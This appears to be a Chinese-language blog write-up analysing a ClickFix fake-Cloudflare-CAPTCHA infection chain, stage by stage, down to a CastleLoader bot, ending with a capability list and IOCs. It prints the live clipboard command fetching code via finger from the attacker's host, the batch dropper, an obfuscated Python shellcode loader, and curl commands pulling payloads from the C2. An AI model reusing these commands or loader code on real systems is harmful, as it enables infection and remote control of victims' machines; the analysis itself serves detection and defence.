记一次 ClickFix 样本实战分析

RW
4.2k 词

1. 前言

本文记录了一次典型的 ClickFix 样本从最外层模式到内层载荷完整分析的具体流程。ClickFix 是一种利用人类自身认知弱点进行攻击的手段,一般通过网络页面进行传播,伪造成各种验证码验证界面,实际却要求人去执行正常验证码根本不会经历的高危操作,比如打开cmd、powershell等windows本地高权限命令执行程序。ClickFix 网页在按下“我不是机器人”按钮的瞬间将伪造成验证码的恶意载荷下载链接复制到剪贴板,然后要求用户在各种能运行命令的窗口粘贴并执行,下载远程的恶意载荷到本地并运行从而完成感染。

2. 样本最外层网页模式

本次遇到的 ClickFix 页面伪造成了Cloudflare的验证码:

在按下按钮后,复制到剪贴板的一阶段命令为:

1
"""%COMSPEC%""" /c s^t^a^r^t "" /min for /f "skip=16 delims=" %d in ('f^^i^^n^^g^^e^^r fGOPzWUAOf@homveraahub.com') do %d & echo '               ---Verify ----------------press ENTER---              '

该命令从finger://homveraahub[.]com:79/fGOPzWUAOf获取载荷,然后进行for /f "skip=16 delims=" %d in (...) do %d,即从第 17 行开始,每一行都赋值给 %d,再用do %d把这一行直接当成 Windows 命令执行。

3. 逐层获取恶意载荷

接下来在隔离的Linux虚拟机环境下安全获取第二阶段的载荷:

1
2
3
mkdir -p sample
cd sample
printf 'fGOPzWUAOf\r\n' | nc -w 10 homveraahub.com 79 | tee finger_raw.txt

获取到第二阶段的载荷:

1
2
3
4
5
6
7
8
9
10
11
12
call set "XJsKVTebpCGMBTbk=%LocalAppData%\%random%%random%%random%%random%.com"
call set "pISFKrsALURpggqA=%LocalAppData%\IronPython.3.4.2"
call set "YgVUIEbvoQTOBRUG=%random%%random%%random%.exe"
call mkdir "%pISFKrsALURpggqA%" 2>nul
call copy /Y "%SystemRoot%\System32\curl.exe" "%XJsKVTebpCGMBTbk%"
call taskkill /f /im expl*
call "%XJsKVTebpCGMBTbk%" -s -L --tlsv1.2 --ssl-no-revoke -o "%pISFKrsALURpggqA%.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip
call tar -xf "%pISFKrsALURpggqA%.pdf" -C "%pISFKrsALURpggqA%"
call rename "%pISFKrsALURpggqA%\net462\ipyw32.exe" "%YgVUIEbvoQTOBRUG%"
call "%pISFKrsALURpggqA%\net462\%YgVUIEbvoQTOBRUG%" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJydk91KA0EMhb/rPoXghfWiW7dQWwUfQV9Bat3FQv9sd8XHl4EvEErF4kXITE5OcpKdvQaOwAvwDCyADngABsAK2AB7YAccxK/kFVtfkNslvLkgv/e+1kruG1AZLzU+zWvU0Vk36yr5r8Ay8WLGRuzdcyvWy+3EPzx3aj2mmkX3NtX7TjM8ndnTJXp6a34ZOzh/q2/U/JeGgXjW8t+9Vifcnbto7D0Ebn7Z1SMw1rZyV86wS32jT8y0kXNvbviJvgZmwCjFy/3O2NR3vJRbYnPnnYkHt5VXa4sUm6tv6nl88m2OzhPfoXYXtyd7XdhrmLB4ezFz3GOfvXtpk/6oPTjzX1XprTXa3noT8Trx472EhqG+4D96C1rs')).decode('utf-32')])"
call start explorer.exe
call exit /b

可以看到其中下载了python环境并运行了一段python代码,其中base64+zlib压缩+utf32编码的载荷解密后通向下一阶段的载荷地址:https://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version1。获取第三层载荷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mkdir -p sample
cd sample

DOMAIN='noidoret.com'
PATH_='/6d6d2d17-d270-59c6-8b75-df011af08e58/version1'

curl --proto '=https' \
--tlsv1.2 \
--connect-timeout 10 \
--max-time 30 \
--location \
--fail \
--silent \
--show-error \
-D stage3.headers.txt \
-o stage3.py.txt \
"https://${DOMAIN}${PATH_}"

sha256sum stage3.py.txt > stage3.sha256.txt
file stage3.py.txt
sed -n '1,120p' stage3.py.txt

获取到的载荷为:

1
2
import base64
exec(base64.b64decode("хW1wе3J0IHRМеWUNCmltcGНydCBjdHlwZXMNCg0KZGVmIHЦvclНkZWNyeXB0KGNМcGЦlcВRleHRfYВl0ZXMsIGtleV...dW5jdHlwZSЦwdHIМDQМmеigМ".replace('М', 'p').replace('х', 'a').replace('Н', '9').replace('В', 'n').replace('У', 'r').replace('е', 'b').replace('Ц', 'h')).decode('utf-8'))

可以看到是一个被混淆了的base64,解码后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import time
import ctypes

def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)

shellcode = bytearray(xor_decrypt(base64.b64decode('8M9GaNwehC0++qsHypKpa1vLGRcdssG7VRaJtoQtPnQQnKxt7vzhvxlxlFEs0cIWzz08XT4SmXdDF3v8pDSgApQ3pS...WpbZ60sGCEvSXUd3PlwfVvVj7aYg='), base64.b64decode('pUSq6TDChC0+EpkRypIRA1vLGXGUNw==')))
ptr = ctypes.windll.kernel32.HeapAlloc(ctypes.windll.kernel32.HeapCreate(0x00040000, len(shellcode), 0), 0x00000008, len(shellcode))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
time.sleep(3)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
time.sleep(4)
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()

发现这一层直接存储了一个加密的shellcode,脚本将其解密后直接用Windll执行了这一段shellcode,用脚本解密shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import hashlib
import re
from pathlib import Path

src = Path("stage3 payload.txt").read_text(encoding="utf-8", errors="replace")
m = re.search(r'base64\.b64decode\("(.*)"\.replace\(', src, re.S)
outer = m.group(1)
mapping = {"М": "p","х": "a","Н": "9","В": "n","У": "r","е": "b","Ц": "h"}
for k, v in mapping.items(): outer = outer.replace(k, v)
decoded_py = base64.b64decode(outer).decode("utf-8", errors="replace")
b64s = re.findall(r"base64\.b64decode\('([^']+)'\)", decoded_py)
cipher = base64.b64decode(b64s[0])
key = base64.b64decode(b64s[1])
shellcode = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher))
Path("stage3_shellcode.bin").write_bytes(shellcode)

shellcode为32bit,共有8912字节,其中有15个函数,有轻微程度的混淆,且所有WinAPI相关函数都通过硬编码的API hash直接调用,能看出其中包含了硬编码的下载链接https://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1和动态构造的user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36,此外还有一个RC4解密函数,下载的callback1会使用前0x40字节作为密钥解密自身。安全下载callback1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mkdir -p callback1
cd callback1

curl --proto '=https' \
--tlsv1.2 \
--connect-timeout 10 \
--max-time 60 \
--location \
--fail \
--silent \
--show-error \
-A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \
-D callback1.headers.txt \
-o callback1.raw \
'https://noidoret.com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1'

sha256sum callback1.raw | tee callback1.sha256.txt
file callback1.raw
xxd -l 128 callback1.raw

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pathlib import Path
import hashlib

def rc4(key: bytes, data: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xff
s[i], s[j] = s[j], s[i]
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xff]
out.append(b ^ k)
return bytes(out)

raw = Path("callback1.raw").read_bytes()
key = raw[:0x40]
enc = raw[0x40:]
dec = rc4(key, enc)
Path("callback1.decrypted.bin").write_bytes(dec)

解密后观察payload开头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
seg000:00000000                 jmp     short loc_3A
seg000:00000002 pop edi
seg000:00000003 mov ecx, [edi]
seg000:00000005 sub ecx, 0Ch
seg000:00000008 mov esi, ecx
seg000:0000000A xor ecx, ecx
seg000:0000000C cmp ecx, esi
seg000:0000000E jz short loc_2A
seg000:00000010 mov eax, ecx
seg000:00000012 mov ebx, 8
seg000:00000017 xor edx, edx
seg000:00000019 div ebx
seg000:0000001B lea ebx, [edi+edx+4]
seg000:0000001F mov al, [ebx]
seg000:00000021 lea ebx, [edi+ecx+0Ch]
seg000:00000025 xor [ebx], al
seg000:00000027 inc ecx
seg000:00000028 jmp short loc_C
seg000:0000002A lea eax, [edi+0Ch]
seg000:0000002D mov ecx, [eax]
seg000:0000002F lea eax, [edi+ecx+10h]
seg000:00000033 lea edx, [edi+10h]
seg000:00000036 push eax
seg000:00000037 call edx
seg000:00000039 retn
seg000:0000003A call loc_2
seg000:0000003F dd 48804h ; length,正好是剩下的字节数
seg000:00000043 db 2Bh,0C6h,0DCh,0ECh, 8Ah, 6,0EAh, 1 ; 密钥
seg000:0000004B db 2Bh ; payload开头
seg000:0000004C db 0C8h
...后续为密文

注意到一段XOR自解密函数,密钥长度为8,密文长度为0x48804,解密后发现以下特征:加密区域是20个裸shellcode函数+真正的PE载荷,其中前20个函数是 x86 反射 PE Loader,它们负责把内嵌的 PE 文件正确映射到内存后跳到 PE 的入口点,执行路线大致为sub_4F -> sub_7AF -> sub_99F -> sub_ACF -> sub_C0F -> sub_D3F -> sub_DAF -> sub_DFF。提取最后的PE文件(起始地址位于0xE4F),接下来进行最内层载荷分析。

4. 内层载荷分析

内层载荷较为复杂,但有很多十分明显的特征:

C2通信特征

在data段中有大量RTTI / vtable:

1
2
3
4
5
6
connection::containers::ContainerFieldBlob
connection::containers::ContainerFieldStringA
connection::containers::ContainerFieldStringW
connection::containers::ContainerFieldInt32
connection::containers::ContainerFieldUint8
...

应该是用于C2通信的数据类型相关定义,在其他函数的xref中也能看到解析不同 type 并创建对应 ContainerField* 对象的逻辑,例如 ContainerFieldBlobContainerFieldStringA/WContainerFieldInt64/Uint64 等,核心解析函数位于sub_402790

Windll、API相关函数调用隐藏

程序中含有自实现的API hash查询调用、分类加载dll等函数,负责哈希查询的函数为sub_420E60,其部分函数哈希特征对应如下:

1
2
3
4
5
6
7
8
9
10
11
12
CoInitializeEx          -> 0xB68C3650
CoInitializeSecurity -> 0x35BE4658
CreateMutexW -> 0x392DA044
GetLastError -> 0x5886C22B
ExitProcess -> 0x607048B2
CreateThread -> 0x7A27DBCB
HeapAlloc -> 0xF886F994
SHGetFolderPathW -> 0x7068A692
PathAppendW -> 0xCB712BE0
CreateFileW -> 0x391B6225
WaitForSingleObject -> 0xFDB07F94
CoUninitialize -> 0xD883842C

sub_4210A0负责加载各种dll,其dll列表有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HMODULE get_module_by_id(int id)
{
switch (id) {
case 0: return get_or_load(L"ntdll.dll");
case 1: return get_or_load(L"kernel32.dll");
case 2: return get_or_load(L"ole32.dll");
case 3: return get_or_load(L"oleaut32.dll");
case 4: return get_or_load(L"user32.dll");
case 5: return get_or_load(L"advapi32.dll");
case 6: return get_or_load(L"shell32.dll");
case 7: return get_or_load(L"ws2_32.dll");
case 8: return get_or_load(L"shlwapi.dll");
case 9: return get_or_load(L"wininet.dll");
case 10: return get_or_load(L"winhttp.dll");
case 11: return get_or_load(L"psapi.dll");
case 12: return get_or_load(L"crypt32.dll");
case 13: return get_or_load(L"gdi32.dll");
case 14: return get_or_load(L"iphlpapi.dll");
default: return NULL;
}
}

内置加密算法

sub_401480是一个Chacha类流密码的核心函数,在临近的函数sub_402570中甚至能看到硬编码的明文字符串expand 32-byte k,在重要业务逻辑函数sub_403630(指令分发函数)中能看到其被调用,该函数位于C2通信解析函数sub_402790之后,因此C2通信的包体内容大概率是加密的,在程序中被解密后解析。

反分析与环境检查

CPUID 虚拟机检测

sub_401320 执行 cpuid 0x40000000,然后比较 hypervisor vendor 字符串。其中比较了硬编码的 VMware 字符串,推测其有反虚拟机功能,匹配后构造异常结构并调用动态解析出来的 ntdll 函数,从而中止程序。

语言 / 区域规避

sub_401100取某个系统值后& 0x3FF`,然后和一组数字比较:

1
25, 35, 63, 40, 67, 43, 44, 64, 55, 34

类似 Windows LANGID 的 primary language ID。命中后会检查一个解混淆出来的标记路径 / 文件,失败则触发异常。

安全软件枚举

字符串和sub_4108C0里出现:

1
2
3
root\SecurityCenter2
WQL
displayName

等杀毒软件相关名称,大概率会环境内杀毒软件类型并上报给 C2,或者根据环境决定后续 payload。

命令执行能力

字符串中直接出现了这些执行模板:

1
2
3
4
5
6
7
8
/c "
runas
open
-ExecutionPolicy Bypass -NoProfile -EncodedCommand "%s"
-ExecutionPolicy Bypass -NoProfile -Command "%s"
--headless %s
cmd.exe
-ExecutionPolicy Bypass -NoProfile -File "%s" %s

这些字符串都在命令执行相关函数中有xref,反编译里也能看到格式化:

1
"-ExecutionPolicy Bypass -NoProfile -File \"%s\" %s"

然后进行 openrunas,因此其至少支持这些任务类型:

1
2
3
4
5
6
7
1. 普通 ShellExecute open 执行
2. ShellExecute runas 提权弹 UAC
3. cmd.exe /c 包裹执行
4. powershell -EncodedCommand 执行
5. powershell -Command 执行
6. powershell -File 执行本地脚本
7. 某种 --headless 参数的程序启动

sub_413B20 一类函数还会根据配置选择 runasopen,并可选择等待进程结束 / 关闭句柄。

文件落地、解压操作

导入表里有完整文件操作链:

1
2
3
4
5
6
7
8
9
CreateDirectoryW
CreateFileW
ReadFile
WriteFile
SetFileTime
GetFileAttributesW
FindFirstFileExW
FindNextFileW
CloseHandle

并且解压相关函数里检查了:

1
67324752 == 0x04034B50 == ZIP local file header "PK\x03\x04"

说明其还内置 ZIP 解析 / 解压逻辑;另一个业务逻辑函数也有:若服务端 blob 不是 ZIP,就按普通文件写出;如果开头是 ZIP,则进入 sub_41FB60() 之类的解压路径。

因此其能做到:

1
2
3
4
5
1. 从 C2 接收原始文件 blob
2. 写入磁盘
3. 设置文件时间 SetFileTime 伪装时间戳
4. 如果是 ZIP,则解压多个文件
5. 枚举目录内容

持久化能力

导入表中有 CoCreateInstance,并且 xref 明确指向 sub_41A6E0 / sub_41AF30,类似 Windows Task Scheduler COM API,能创建计划任务进行持久化,相邻函数 sub_41AF30 可能是查询 / 删除 / 修改任务。相关逻辑链大致为:

1
2
3
4
5
6
7
8
9
CoCreateInstance(TaskScheduler)

ITaskService::Connect

GetFolder / NewTask

设置 Action / Trigger / Principal

RegisterTaskDefinition

进程注入 / PE 内存执行能力

程序中还有:

1
2
3
4
5
6
7
8
CreateProcessW
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
MZ / PE 文件头检查
relocation type 1 / 2 / 3
写入远程进程内存
设置线程上下文 / 恢复线程

sub_417750存在创建进程,在目标进程里申请内存、写入 payload,随后判断类型,再按 relocation type 修正远程内存中的 PE的能力。因此其还支持process hollowing / PE injection

1
2
3
4
5
1. 创建挂起进程
2. 把 PE payload 写入远程进程
3. 修 relocation
4. 修改入口点 / 线程上下文
5. 恢复执行

总体逻辑

main在还原后大致可写为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(int argc, const char **argv, const char **envp)
{
Config *cfg;
C2Result *result = NULL;
HANDLE worker_thread = NULL;
WCHAR *marker_path;
ole32_CoInitializeEx(NULL, 0);
ole32_CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
locale_geofence_marker_check(); // sub_401100
cfg = build_or_decode_config(); // sub_40B3A0
kernel32_CreateMutexW(NULL, FALSE, cfg->mutex_name);
if (kernel32_GetLastError() == ERROR_ALREADY_EXISTS) { kernel32_ExitProcess(0); } // 183
result = NULL;
if (c2_request_and_parse_packet(&result, cfg)) {
if (result->flags[3] && !g_worker_thread) { g_worker_thread = kernel32_CreateThread(NULL, 0, worker_thread_proc /* sub_40E190 */, NULL, 0, NULL); }
if (result->flags[1]) { check_hypervisor_vendor_and_abort() /* sub_401320 */; }
if (result->flags[2]) {
cfg = build_or_decode_config();
marker_path = kernel32_HeapAlloc(g_heap, 0, 520);
if (marker_path) {
if (shell32_SHGetFolderPathW(NULL,CSIDL_COMMON_APPDATA/*0x23*/,NULL,0,marker_path)>=0){
shlwapi_PathAppendW(marker_path, cfg->marker_name);
HANDLE h = kernel32_CreateFileW(marker_path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
if (h == INVALID_HANDLE_VALUE) { kernel32_CreateFileW(marker_path, GENERIC_ALL, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); } else { kernel32_ExitProcess(0); }
}
free_wrapper(marker_path);
}
}
if (result->flags[0]) { run_cmd_wrapper(); } // sub_411980
command_dispatcher(&result, inject_pe_into_process /* sub_417750 */, cfg); // sub_403630
if (result->flags[3] && g_worker_thread) {kernel32_WaitForSingleObject(g_worker_thread, INFINITE);}
}
ole32_CoUninitialize();
kernel32_ExitProcess(0);
}

即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def main():
init_heap_and_api_resolver()
check_locale_geofence()
parse_initial_config()
if config.enable_worker_thread: CreateThread(worker_beacon_thread)
if config.enable_vm_check: check_hypervisor_vendor_and_abort()
if config.enable_file_or_persistence: prepare_path_or_dropper()
if config.enable_shell_task: execute_local_command()
command_loop():
request = build_GET_or_POST()
response = http_send(request)
packet = parse_ContainerField(response)
decrypted = chacha_decrypt(packet.blob)
dispatch_command(decrypted)

文字逻辑大致是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. COM 初始化
2. COM 安全初始化
3. 区域 / 语言 / marker 检查
4. 解析配置
5. 创建互斥体,防止重复运行
6. 拉取 C2 配置 / 任务包
7. 根据 C2 flag:
- 启动 worker thread
- 执行 anti-VM 检查
- 在 Common AppData 下检查/创建 marker 文件
- 执行本地命令逻辑
8. 进入 command dispatcher
9. 必要时等待 worker thread
10. CoUninitialize
11. ExitProcess

因此可以推断出这个内层载荷的作用是与远端C2服务器通信并动态获取任务,真正要执行的任务均由远端C2服务器下发,推测这是一个泛用的自动化 bot / task runner,后续进一步的检测将其归类为CastleLoader

5. 样本整体感染链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. fake CAPTCHA / ClickFix 页面

2. 剪贴板写入 cmd payload

3. 执行 finger fGOPzWUAOf@homveraahub[.]com

4. Finger 返回 batch 二阶段脚本

5. 下载 IronPython 3.4.2,伪装为 .pdf 解压

6. 运行重命名后的 ipyw32.exe

7. Python 解密并执行 stage3 payload

8. stage3 释放 x86 shellcode

9. shellcode 请求 noidoret[.]com/.../callback1

10. callback1.raw:RC4 解密

11. XOR 解包得到 loader + PE32

12. 反射加载 PE32

13. CastleLoader/Bot 客户端运行,连接 C2 获取任务

6. 恶意能力清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
[多阶段加载与反射加载]
- fake CAPTCHA 社工诱导命令执行
- Finger 协议拉取二阶段 batch
- 借用合法 IronPython 运行环境
- Python base64 / zlib / utf-32 / 字符替换混淆
- x86 shellcode 内存执行
- callback1.raw RC4 解密
- 二层 XOR 解包
- 内嵌 PE32 反射加载
- PE 外层 loader 手动修复 import、relocation、TLS callback 并跳转 OEP

[C2通信与任务分发]
- HTTP / HTTPS C2 通信
- 连接 noidoret[.]com
- 自定义 ContainerField 二进制协议
- 支持 GET / POST
- 支持响应包解析、字段反序列化
- C2 返回 flag 后控制本地行为

[加密与数据处理]
- RC4
- ChaCha / Salsa20 风格流加密
- XOR 编码
- HMAC
- CRC32 / Adler32
- 自定义 API hash
- 栈字符串和参数混淆

[动态API解析]
- 遍历 PEB Ldr 链表
- 通过 DLL 名称 hash 定位模块
- 解析 PE Export Table
- 对导出函数名计算自定义 hash
- 按 hash 动态解析 API
- 支持 forwarded export

[反分析与环境探测]
- IsDebuggerPresent
- OutputDebugStringW
- CPUID 虚拟机检测
- 检查处理器厂商/虚拟化常量
- long sleep
- 异常/SEH 干扰
- WMI 查询安全软件
- 语言 / 区域 geofence
- 通过 WMI 连接 root\SecurityCenter2
- 执行 SELECT * FROM AntivirusProduct
- 枚举本机 AntiVirus 产品 displayName

[命令执行能力]
- cmd.exe /c
- ShellExecute open
- ShellExecute runas
- PowerShell -ExecutionPolicy Bypass -NoProfile -EncodedCommand
- PowerShell -ExecutionPolicy Bypass -NoProfile -Command
- PowerShell -ExecutionPolicy Bypass -NoProfile -File
- 支持 headless 参数启动某些程序

[文件落地与文件系统操作]
- 创建目录
- 检查文件属性
- 读文件
- 写文件
- 设置文件时间 SetFileTime
- 枚举目录
- ZIP 解包逻辑
- 创建 marker 文件

[持久化能力]
- Task Scheduler COM
- CoCreateInstance 创建 ITaskService
- ITaskService::Connect
- 创建 / 管理计划任务

[后续载荷执行 / 进程注入]
- 创建进程
- 写入远程进程内存
- PE header 解析
- section 映射
- relocation 修复
- 恢复执行
- 具备 process hollowing / PE injection 能力

7. IOC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
Final carved PE SHA-256:
77fade440644b41fa84b5521858500f8c4a683ea094d9e12f182a812eeea725b

MD5:
2c71dc0418df45867f5b2b2e69196bda

SHA-1:
b01150876e843520a604df8b9b16def8f452c265

Imphash:
87859727be23746ec60b2674e7b69c73

Authentihash:
2aaa33db414bae774151e925d48a4bb28227ee7bdd5d62805bd2329a771fd8ae

Rich PE header hash:
af9f3962daf14230ac1aa6643e5ba46f

File type:
PE32 executable GUI, Intel 80386

Architecture:
x86 / 32-bit

File size:
293376 bytes / 286.50 KB

Compilation timestamp:
2026-04-30 15:01:31 UTC

Entry Point:
RVA 0x22592

Sections:
.text
.rdata
.data
.fptable
.rsrc
.reloc

Imports:
KERNEL32.dll
USER32.dll
ole32.dll
OLEAUT32.dll

Popular threat label:
trojan.zusy/ahls

Family labels:
zusy
ahls
castle

Representative detections:
Elastic: Windows.Trojan.CastleLoader
Microsoft: Trojan:Win32/CastleLoader.MK!MTB
AhnLab-V3: Downloader/Win.Agent.R741707
ESET-NOD32: Win32/Agent.AHLS Trojan
Fortinet: W32/Agent.AHLS!tr
DrWeb: Trojan.PWS.Steam.39135
BitDefender: Gen:Variant.Zusy.597674
GData: Gen:Variant.Zusy.597674
VIPRE: Gen:Variant.Zusy.597674

Initial Finger stage:
homveraahub[.]com

Finger query:
fGOPzWUAOf@homveraahub[.]com

C2 domain:
noidoret[.]com

Observed IP:
50.114.167[.]195

DNS:
8.8.8.8

Observed / extracted URLs:
hxxps://noidoret[.]com/
hxxps://noidoret[.]com/5
hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version1
hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback1
hxxps://noidoret[.]com/f4ba4ea2-6c8c-5060-ae67-259dc376c56f
hxxps://noidoret[.]com/f4ba4ea2-6c8c-5060-ae67-259dc376c56f/32debe66-d0de-51b3-8abc-db555b72fb4a

%LocalAppData%\IronPython.3.4.2
%LocalAppData%\IronPython.3.4.2.pdf
%LocalAppData%\[random][random][random][random].com
%LocalAppData%\IronPython.3.4.2\net462\[random][random][random].exe

C:\ProgramData\iwD11Lmhnljrg5EvEBMS2b
C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Sandbox opened / suspicious side-loading paths:
C:\Users\<USER>\Desktop\DPAPI.DLL
C:\Users\<USER>\Desktop\Wldp.dll
C:\Users\<USER>\Desktop\ncrypt.dll

Mutex / marker:
iwD11Lmhnljrg5EvEBMS2b
\Sessions\1\BaseNamedObjects\iwD11Lmhnljrg5EvEBMS2b

WMI IOC:
Namespace: root\SecurityCenter2
Query: SELECT * FROM AntivirusProduct
Process: wmiprvse.exe -secured -Embedding

command / behavior:
cmd.exe /c
PowerShell -ExecutionPolicy Bypass -NoProfile -EncodedCommand
PowerShell -ExecutionPolicy Bypass -NoProfile -Command
PowerShell -ExecutionPolicy Bypass -NoProfile -File
ShellExecuteW verb: open
ShellExecuteW verb: runas
--headless

Network TLS / JA3:
JA3:
cbcd1d81f242de31fd683d5acbc70dca
db95a4cb23548a635a1dfebcee9991cb
3c293bdf2a25c07559b560ba86debc77

Crowdsourced IDS:
ET INFO TLS Handshake Failure

相关样本已上传Virus Total,可进行访问查看。

8. 总结

该样本属于多阶段 ClickFix 感染链中的 CastleLoader/CastleBot 相关通用 Loader/Bot。初始阶段通过伪装验证码诱导用户执行剪贴板命令,随后利用 Finger 协议获取远程 batch 脚本,并借助 IronPython 执行后续混淆 Python 载荷。Python 阶段释放 x86 shellcode,连接 noidoret[.]com 下载 callback1 加密 blob。该 blob 经过 RC4 和 XOR 解密后得到内嵌 PE32,外层 loader 对其进行反射加载并跳转执行。最终 PE 具备 C2 通信、动态 API hash 解析、WMI 安全软件枚举、反调试、CPUID 反虚拟机、计划任务持久化、文件落地、命令执行、PowerShell 执行、ZIP 解包、进程注入和后续 payload 执行能力,是全面的通用后续任务加载器。